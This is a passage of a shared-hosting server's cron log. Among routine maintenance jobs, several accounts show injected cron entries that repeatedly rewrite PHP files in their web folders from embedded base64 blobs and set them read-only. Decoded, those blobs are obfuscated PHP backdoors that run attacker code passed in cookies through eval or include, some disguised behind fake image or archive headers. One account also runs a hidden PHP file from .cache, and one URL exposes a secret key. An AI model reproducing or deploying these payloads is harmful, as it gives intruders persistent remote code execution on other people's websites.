mICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:09:01 medusa CROND[32636]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:09:01 medusa CROND[32640]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:09:01 medusa CROND[32643]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:09:01 medusa CROND[32644]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:10:01 medusa CROND[8253]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 00:10:01 medusa CROND[8254]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 00:10:01 medusa CROND[8256]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 00:10:01 medusa CROND[8258]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:10:01 medusa CROND[8255]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 00:10:01 medusa CROND[8260]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:10:01 medusa CROND[8257]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8261]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 00:10:01 medusa CROND[8266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:10:01 medusa CROND[8267]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:10:01 medusa CROND[8268]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:10:01 medusa CROND[8265]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 00:10:01 medusa CROND[8284]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:10:01 medusa CROND[8286]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:10:01 medusa CROND[8288]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8289]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:10:01 medusa CROND[8294]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:10:01 medusa CROND[8293]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8281]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8283]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8298]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:10:01 medusa CROND[8297]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:10:01 medusa CROND[8292]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 00:10:01 medusa CROND[8282]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 00:10:01 medusa CROND[8295]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 00:10:01 medusa CROND[8287]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 00:10:01 medusa CROND[8316]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 00:11:01 medusa CROND[13915]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:11:01 medusa CROND[14008]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:11:01 medusa CROND[14121]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:11:01 medusa CROND[14162]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:11:01 medusa CROND[14163]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:11:01 medusa CROND[14164]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
